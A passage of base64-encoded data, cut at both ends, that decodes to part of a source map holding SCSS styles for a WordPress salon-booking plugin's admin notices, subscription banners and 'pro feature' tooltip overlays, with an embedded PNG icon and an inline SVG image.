sYXk6IGJsb2NrO1xuXHRcdFx0Y29udGVudDogXCIgXCI7XG5cdFx0XHR3aWR0aDogYXV0bztcblx0XHRcdGhlaWdodDogMXB4O1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yO1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0cmlnaHQ6IDA7XG5cdFx0XHRib3R0b206IDA7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2Utb3V0O1xuXHRcdH1cblx0XHQmOmFjdGl2ZSxcblx0XHQmOmZvY3VzIHtcblx0XHRcdGNvbG9yOiB2YXIoLS1hY2NlbnQtLWJsdWUpO1xuXHRcdFx0dGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcblx0XHRcdG9wYWNpdHk6IDAuODU7XG5cdFx0fVxuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdFx0aGVpZ2h0OiAzcHg7XG5cdFx0XHRcdFx0Ym90dG9tOiAtMnB4O1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zbG4tbm90aWNlLS1yZXZpZXcge1xuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbG9yOiAjZmYwZjAxO1xuXHRcdFx0Y29udGVudDogXCJcXGYwMDRcIjtcblx0XHR9XG5cdFx0QG1lZGlhIChob3Zlcjogbm9uZSkgYW5kIChwb2ludGVyOiBjb2Fyc2UpIHtcblx0XHRcdGRpc3BsYXk6IG5vbmU7XG5cdFx0fVxuXHR9XG5cdC5zbG4tbm90aWNlLS11c2VhcHAge1xuXHRcdC8qIEZJWCAwOTIwMjMgXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0teWVsb3cpO1xuXHRcdFx0Y29udGVudDogXCJcXGYzY2RcIjtcblx0XHR9XG5cdFx0Ki9cblx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlcikgYW5kIChwb2ludGVyOiBmaW5lKSB7XG5cdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdH1cblx0fVxuXHQuc2xuLW5vdGljZS0tcGx1Z2luX3VwZGF0ZV9fYWN0aW9uIHtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdHdpZHRoOiBmaXQtY29udGVudDtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdHBhZGRpbmc6IDEuMjVlbSAxLjc1ZW0gMS4yNWVtIDEuNWVtO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnYy0tYmx1ZS0tZGFyayk7XG5cdFx0Y29sb3I6IHZhcigtLWNsLS1saWdodGVzdCk7XG5cdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0dGV4dC1kZWNvcmF0aW9uOiBub25lO1xuXHRcdGJvcmRlci1yYWRpdXM6IDRweDtcblx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXMgZWFzZS1vdXQ7XG5cdFx0Zm9udC1zaXplOiAwLjg3NXJlbTtcblx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHRcdC8qIEZJWCAwOTIwMjMgXG5cdFx0Jjo6YmVmb3JlIHtcblx0XHRcdG1hcmdpbi1yaWdodDogMC41cmVtO1xuXHRcdFx0Zm9udC1mYW1pbHk6IFwiRm9udEF3ZXNvbWVcIjtcblx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0bGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcblx0XHRcdHRleHQtdHJhbnNmb3JtOiBub25lO1xuXHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdHdvcmQtd3JhcDogbm9ybWFsO1xuXHRcdFx0ZGlyZWN0aW9uOiBsdHI7XG5cdFx0XHQtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG5cdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0Ly9jb250ZW50OiBcIlxcZjA2MVwiO1xuXHRcdFx0Ly9jb250ZW50OiBcIlxcZjEwMVwiO1xuXHRcdFx0Ly9jb250ZW50OiBcIlxcZjEwNVwiO1xuXHRcdFx0Y29udGVudDogXCJcXGYwNTRcIjtcblx0XHRcdGZvbnQtc3R5bGU6IG5vcm1hbDtcblx0XHRcdC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuXHRcdFx0LW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDUwJTtcblx0XHRcdGNvbG9yOiB2YXIoLS1jbC0tbGlnaHRlc3QpO1xuXHRcdH1cblx0XHQqL1xuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRtaW4td2lkdGg6IGluaXRpYWw7XG5cdFx0XHRwYWRkaW5nOiAxZW0gMS43NWVtIDFlbSAxLjVlbTtcblx0XHR9XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcblx0XHRcdGdyaWQtY29sdW1uOiAzO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRmb250LXNpemU6IDFyZW07XG5cdFx0fVxuXHRcdEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEuMDMpO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQuc2xuLW5vdGljZS0tc3Vic2NyaXB0aW9uLWZyZWUtdmVyc2lvbiB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogI0JERDdFQztcblx0XHQvKiBGSVggMjkwNTIwMjQgXG5cdFx0QGV4dGVuZCAuc2xuLWljb251cmktLXBlb3BsZXN0YXI7XG5cdFx0Ki9cblx0XHQmOjphZnRlciB7XG5cdFx0XHRjb250ZW50OiAnJyAhaW1wb3J0YW50O1xuXHRcdFx0ZGlzcGxheTogYmxvY2sgIWltcG9ydGFudDtcblx0XHRcdHdpZHRoOiAzcmVtICFpbXBvcnRhbnQ7XG5cdFx0XHRoZWlnaHQ6IDNyZW0gIWltcG9ydGFudDtcblx0XHRcdGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFDQUFBQUFnQ0FZQUFBQnplbnIwQUFBQUNYQklXWE1BQUFzVEFBQUxFd0VBbXB3WUFBQUFBWE5TUjBJQXJzNGM2UUFBQUFSblFVMUJBQUN4and2OFlRVUFBQUpDU1VSQlZIZ0I3VmROYnRwQUZINHpZNU1RSjFXclNsV3ZFRzZRY0lQQ0NjSU5TRTlBZW9MU0V6UTlRZWtKU2s5UWVvTENDVUszcVZTSkJSTEcvbnVmOFF3WUc5dEFWYlZTbnlUWm52Znp6WnYzWm40TVlCdmIrTDhCV0J2UWRkMmthZnJHR0R2Z25KOEFRQWNBam9na1JES1NKSWtZWTZ3c3kvTDcvZjFmQzVCbFdSZEFqMFFTSVFRK1k4dzNUUk1BUUZWVkhRQzRjUnpuMW5YZDJ4WGdBT0NSaUNSTjB4NFI5UmxqWHBJa2ZyL2YzekVNdzlJMGJjOHdqTDBvaW16OGYrYWN2NGRoT0YwQjRwd25CT0JybXFhdnFxbzZiZHNHVXNWeERGbVc3UzBEcUtycU5BekRTL283blBNWElub0JEQ0dFb3FwcXY5MXVnNjdyamFKWWxxVmFsa1VBRUFUQmUxMWRYbDZPWlFDU0pCMFQwWUFnQ01MVy8yQXorYjV2bTZacDEyVVJSWkZ0bXFaVlZaVzRpQ09pQVlBczhqMEFPRURkU3hmMS9YNi8zMmswR2h2bHorY3o3Tzd1dGpZOWwrZjVpYVpwTHpXQXBpb21BUEFCaUtxcU9vN2oySTFHWTlQYjI5dmJ4cC9qT0k2cnFxb3ZKL0w1Zkg2cXFtb0FBTjhZWTd1aUtJcjVPVVFvaXFJNGRTOElndE82K3ZMeU1wWVQrWHcrUDlVMDdWSUJTSklFQ1FDOGw1ZVhWZzNncXdJUUFNRDUvNnJwZERvK2x4UEpzdXdWQUVhS29vd1dpOFZTTjVabENUOW9talpTRkdXMFhCWUZYTy8zK3hNQUdOUjJRVTNYMXpUdEx3aUNUNFpoV0FDdzF3U3hMTXRDZ0ErR1lmd05ndUFUdlQrVXRHWVhMSmZMRUlUUUYwS2NFZEVMRWVrSUFKdjRETVBZSXlLZHJ1ZVRFT0lNM3d1bDlrWmRjRjhUbC9UTEIwVEhqWHRKSVlTNFRwTGtWd0JzNDE4dS9nRTZiZWlMV1RxU2pRQUFBQUJKUlU1RXJrSmdnZz09JykgIWltcG9ydGFudDtcblx0XHRcdGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQgIWltcG9ydGFudDtcblx0XHRcdGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlciAhaW1wb3J0YW50O1xuXHRcdFx0YmFja2dyb3VuZC1zaXplOiBjb250YWluICFpbXBvcnRhbnQ7XG5cdFx0XHRkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0fVxuXHRcdC5zbG4tbm90aWNlLS1wbHVnaW5fdXBkYXRlX19hY3Rpb24ge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogIzIxNzFCMTtcblx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdGNvbG9yOiB2YXIoLS1hY2NlbnQtLXllbGxvdyk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zbG4tbm90aWNlLS1zdWJzY3JpcHRpb24tY2FuY2VsbGVkLFxuXHQuc2xuLW5vdGljZS0tc3Vic2NyaXB0aW9uLWV4cGlyZWQge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHZhcigtLWJnLS1yZWQpO1xuXHRcdC8qIEZJWCAwOTIwMjMgXG5cdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0tcmVkKTtcblx0XHRcdGNvbnRlbnQ6IFwiXFxmMTE5XCI7XG5cdFx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0tcmVkKTtcblx0XHR9XG5cdFx0Ki9cblx0XHQuc2xuLW5vdGljZS0tcGx1Z2luX3VwZGF0ZV9fYWN0aW9uOjpiZWZvcmUge1xuXHRcdFx0Y29sb3I6IHZhcigtLWJnLS1yZWQpO1xuXHRcdH1cblx0fVxuXHQuc2xuLW5vdGljZS0tc3Vic2NyaXB0aW9uLWFjdGl2ZSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctLWdyZWVuKTtcblx0XHQvKiBGSVggMDkyMDIzIFxuXHRcdCY6OmFmdGVyIHtcblx0XHRcdGNvbG9yOiB2YXIoLS1hY2NlbnQtLWdyZWVuKTtcblx0XHRcdGNvbnRlbnQ6IFwiXFxmMTE4XCI7XG5cdFx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdFx0Y29sb3I6IHZhcigtLWFjY2VudC0tZ3JlZW4pO1xuXHRcdH1cblx0XHQqL1xuXHRcdC5zbG4tbm90aWNlLS1wbHVnaW5fdXBkYXRlX19hY3Rpb246OmJlZm9yZSB7XG5cdFx0XHRjb2xvcjogdmFyKC0tYmctLWdyZWVuKTtcblx0XHR9XG5cdH1cbn1cbiIsIkB1c2UgJ3Nhc3M6Y29sb3InO1xuQHVzZSAnc2FzczptZXRhJztcbkB1c2UgJy4uL3NldHRpbmdzLW1peGlucyc7XG5AdXNlICcuLi9hZG1pbl9jb25maWcnO1xuQHVzZSAnLi4vdHlwby1hZG1pbic7XG5AdXNlICcuLi9jb2xvcnMnO1xuQHVzZSAnLi4vY29sb3JzLW51JztcbiNzbG4tc2Fsb24tLWFkbWluLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlcixcbi5zbG4tdG9vbHRpcC1hY3Rpb24td3JhcHBlci0tcHJvLWZlYXR1cmUge1xuICAuc2xuLXByb2ZlYXR1cmVfX3Rvb2x0aXAtd3JhcHBlciB7XG4gICAgLnNsbi1wcm9mZWF0dXJlX19jdGEuc2xuLXByb2ZlYXR1cmUtLW1vZGFsLWZvb3Rlcl9fYWN0aW9uc1xuICAgICAgLnNsbi1wcm9mZWF0dXJlX19vcGVuLWJ1dHRvbiB7XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIH1cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5zbG4tcHJvZmVhdHVyZS0tZGlzYWJsZWQge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAuc2xuLWJveC10aXRsZSB7XG4gICAgICBwYWRkaW5nLXRvcDogMC40NXJlbTtcbiAgICB9XG4gICAgLnNsbi1wcm9mZWF0dXJlX19pbnB1dCB7XG4gICAgICBjdXJzb3I6IG5vdC1hbGxvd2VkO1xuICAgICAgb3BhY2l0eTogMC43NTtcbiAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgIH1cbiAgICAuc2xuLWNoZWNrYm94IGlucHV0ICsgbGFiZWwge1xuICAgICAgcGFkZGluZy1yaWdodDogM3JlbTtcbiAgICB9XG4gICAgLnNsbi1kaXNhYmxlZCB7XG4gICAgICBvcGFjaXR5OiAxO1xuICAgIH1cbiAgfVxuXG4gIC5zbG4tcHJvZmVhdHVyZV9fY3RhIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAwO1xuICAgIHJpZ2h0OiAxcmVtO1xuICAgIGJvdHRvbTogMDtcbiAgICBsZWZ0OiAxcmVtO1xuICAgIC8vei1pbmRleDogMTtcbiAgICAmLnNsbi1wcm9mZWF0dXJlLS1jaGVja2JveC0tc2xpbSB7XG4gICAgICBkaXNwbGF5OiBncmlkO1xuICAgICAgZ3JpZC10ZW1wbGF0ZTogMnJlbSAvIDFmcjtcbiAgICAgIG1hcmdpbi1ib3R0b206IDIuNXJlbTtcbiAgICAgIC5zbG4tcHJvZmVhdHVyZV9fb3Blbi1idXR0b24ge1xuICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgICAgZ3JpZC1yb3c6IDI7XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA1cmVtO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLWJveCB7XG4gICAgICAuc2xuLXByb2ZlYXR1cmVfX29wZW4tYnV0dG9uIHtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgcGFkZGluZzogMXJlbSA2cmVtIDFyZW0gMnJlbTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjYWxjKDEwMCUgLSAycmVtKSBjZW50ZXI7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgICYuc2xuLXByb2ZlYXR1cmUtLWNoZWNrYm94IHtcbiAgICAgICAgYm90dG9tOiAyLjVyZW07XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLXN3aXRjaC0tYmFyZSB7XG4gICAgICByaWdodDogMDtcbiAgICAgIGxlZnQ6IDA7XG4gICAgICArIC5zbG4tc3dpdGNoLnNsbi1zd2l0Y2gtLWJhcmUgaW5wdXQgKyBsYWJlbCBzcGFuLFxuICAgICAgKyAuc2xuLXN3aXRjaC5zbG4tc3dpdGNoLS1iYXJlLnNsbi1zd2l0Y2gtLWludmVydGVkIGlucHV0ICsgbGFiZWwgc3BhbixcbiAgICAgICsgLnNsbi1zd2l0Y2guc2xuLXN3aXRjaC0tYmFyZSBpbnB1dCArIGxhYmVsIHNwYW4sXG4gICAgICArIC5zbG4tc3dpdGNoLnNsbi1zd2l0Y2gtLWJhcmUuc2xuLXN3aXRjaC0taW52ZXJ0ZWQgaW5wdXQgKyBsYWJlbCBzcGFuIHtcbiAgICAgICAgcGFkZGluZy1yaWdodDogNHJlbTtcbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4tcHJvZmVhdHVyZS0tbW9kYWwtZm9vdGVyX19hY3Rpb25zIHtcbiAgICAgICYuc2xuLXByb2ZlYXR1cmUtLWJ1dHRvbi0tYmFyZSB7XG4gICAgICAgIHRvcDogMDtcbiAgICAgICAgcmlnaHQ6IC0wLjVyZW07XG4gICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgbGVmdDogLTAuNXJlbTtcbiAgICAgIH1cbiAgICAgIC5zbG4tcHJvZmVhdHVyZV9fb3Blbi1idXR0b24ge1xuICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgIG1pbi1oZWlnaHQ6IDNyZW07XG4gICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodGVyKDAuNSk7XG4gICAgICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4zKTtcbiAgICAgICAgfVxuICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0zMCUpIHNjYWxlKDEpIHRyYW5zbGF0ZVgoLTUwJSk7XG4gICAgICAgICAgcmlnaHQ6IGF1dG87XG4gICAgICAgICAgbGVmdDogNTAlO1xuICAgICAgICAgIG1pbi13aWR0aDogMTRyZW07XG4gICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2FsYygxMDAlIC0gMXJlbSkgdG9wO1xuICAgICAgICAgIC8vZm9udC1zaXplOiAwO1xuICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICB9XG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAvLyAmOjpiZWZvcmUge1xuICAgICAgICAgICAgLy8gICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgICAgIC8vIH1cbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgbWluLXdpZHRoOiAyMHJlbTtcbiAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApIHNjYWxlKDEuMSkgdHJhbnNsYXRlWCgtNTAlKTtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2FsYygxMDAlIC0gMXJlbSkgY2VudGVyO1xuICAgICAgICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBhbGw7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLXNsbi1ib29raW5nX19oZWFkZXIge1xuICAgICAgdG9wOiAtMC43NXJlbTtcbiAgICAgIHJpZ2h0OiAwLjI1cmVtO1xuICAgICAgYm90dG9tOiAtMC43NXJlbTtcbiAgICAgIGxlZnQ6IDAuMjVyZW07XG4gICAgICAuc2xuLXByb2ZlYXR1cmVfX29wZW4tYnV0dG9uIHtcbiAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICBtaW4taGVpZ2h0OiAzcmVtO1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHRlcigwLjUpO1xuICAgICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuMyk7XG4gICAgICAgIH1cbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMzAlKSBzY2FsZSgxKSB0cmFuc2xhdGVYKC01MCUpO1xuICAgICAgICAgIHJpZ2h0OiBhdXRvO1xuICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICBtaW4td2lkdGg6IDE0cmVtO1xuICAgICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNhbGMoMTAwJSAtIDFyZW0pIHRvcDtcbiAgICAgICAgICAvL2ZvbnQtc2l6ZTogMDtcbiAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgICAgfVxuICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgLy9ib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgbWluLXdpZHRoOiAyMHJlbTtcbiAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDApIHNjYWxlKDEuMSkgdHJhbnNsYXRlWCgtNTAlKTtcbiAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2FsYygxMDAlIC0gMXJlbSkgY2VudGVyO1xuICAgICAgICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBhbGw7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXByb2ZlYXR1cmUtLWJ1dHRvbi0tYmFyZSB7XG4gICAgICB0b3A6IC0wLjVyZW07XG4gICAgICByaWdodDogLTAuNXJlbTtcbiAgICAgIGJvdHRvbTogLTAuNXJlbTtcbiAgICAgIGxlZnQ6IC0wLjVyZW07XG4gICAgICArIC5zbG4tYnRuLS1udS0tbG93aGVtcGgge1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgfVxuICAgICAgLnNsbi1wcm9mZWF0dXJlX19vcGVuLWJ1dHRvbiB7XG4gICAgICAgIGhlaWdodDogMTAwJTtcbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1wcm9mZWF0dXJlX19vcGVuLWJ1dHRvbiB7XG4gICAgICAvLyBkaXNwbGF5OiBmbGV4O1xuICAgICAgLy8gYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIC8vIGp1c3RpZnktY29udGVudDogZW5kO1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBoZWlnaHQ6IGF1dG87XG4gICAgICBtaW4taGVpZ2h0OiAzLjMzcmVtO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDApO1xuICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgZm9udC1zaXplOiAxcmVtO1xuICAgICAgbGluZS1oZWlnaHQ6IDEuMjtcbiAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICB6LWluZGV4OiA5OTk5OTk7XG4gICAgICBzcGFuIHtcbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICBib3R0b206IGNhbGMoMTAwJSArIDAuNXJlbSk7XG4gICAgICB9XG4gICAgICAmOjpiZWZvcmUge1xuICAgICAgICBjb250ZW50OiAnICc7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHRvcDogLTAuMnJlbTtcbiAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgIGJvdHRvbTogLTAuMnJlbTtcbiAgICAgICAgbGVmdDogMDtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogMC4zNzVyZW07XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbGlnaHRlc3QoMC4yNSk7XG4gICAgICAgIGJvcmRlcjogMnB4IHNvbGlkO1xuICAgICAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tbGlnaHQoMSk7XG4gICAgICAgIHRyYW5zaXRpb246IGFsbCAyNTBtcztcbiAgICAgICAgei1pbmRleDogMTtcbiAgICAgIH1cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgY29udGVudDogJyAnO1xuICAgICAgICBjb250ZW50OiBhdHRyKGRhdGEtdGlwdGV4dCk7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgaGVpZ2h0OiBhdXRvO1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMjUwbXM7XG4gICAgICAgIHotaW5kZXg6IDI7XG5cbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICB0b3A6IC0wLjVyZW07XG4gICAgICAgIHJpZ2h0OiAwO1xuICAgICAgICBib3R0b206IC0wLjVyZW07XG4gICAgICAgIGxlZnQ6IDA7XG4gICAgICAgIHBhZGRpbmc6IDAuNXJlbSAzcmVtIDAuNXJlbSAxcmVtO1xuICAgICAgICBib3JkZXItcmFkaXVzOiAwLjM3NXJlbTtcbiAgICAgICAgLy8gb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICAgICAgLy8gd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAgY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICBpbnRlcnBvbGF0ZS1zaXplOiBhbGxvdy1rZXl3b3JkcztcbiAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcblxuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgYmFja2dyb3VuZC1zaXplOiAyLjI1cmVtO1xuICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjYWxjKDEwMCUgLSAxcmVtKSBjZW50ZXI7XG4gICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzM1JyBoZWlnaHQ9JzM1JyB2aWV3Qm94PScwIDAgMzUgMzUnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NjaXJjbGUgY3g9JzE3LjUnIGN5PScxNy41JyByPScxNy41JyBmaWxsPSclMjMxRjdEREInLyUzRSUzQ2cgY2xpcC1wYXRoPSd1cmwoJTIzY2xpcDBfMF8xKSclM0UlM0NwYXRoIGZpbGwtcnVsZT0nZXZlbm9kZCcgY2xpcC1ydWxlPSdldmVub2RkJyBkPSdNMTguNDMzIDEwLjE5MzVDMTguMzEwNyAxMC4wMTg4IDE4LjExMDkgOS45MTQ3OSAxNy44OTc3IDkuOTE0NzlDMTcuNjg0NSA5LjkxNDc5IDE3LjQ4NDcgMTAuMDE4OCAxNy4zNjI0IDEwLjE5MzVMMTMuMjM1MiAxNi4wODk2TDkuODY1NDQgMTIuNzE5OEM5LjY3ODU2IDEyLjUzMjkgOS4zOTc1MiAxMi40NzcgOS4xNTMzNiAxMi41NzgyQzguOTA5MiAxMi42NzkzIDguNzUgMTIuOTE3NiA4Ljc1IDEzLjE4MThWMjEuNjc2MkM4Ljc1IDIyLjM2OTMgOS4wMjUzNiAyMy4wMzQxIDkuNTE1NTIgMjMuNTI0M0MxMC4wM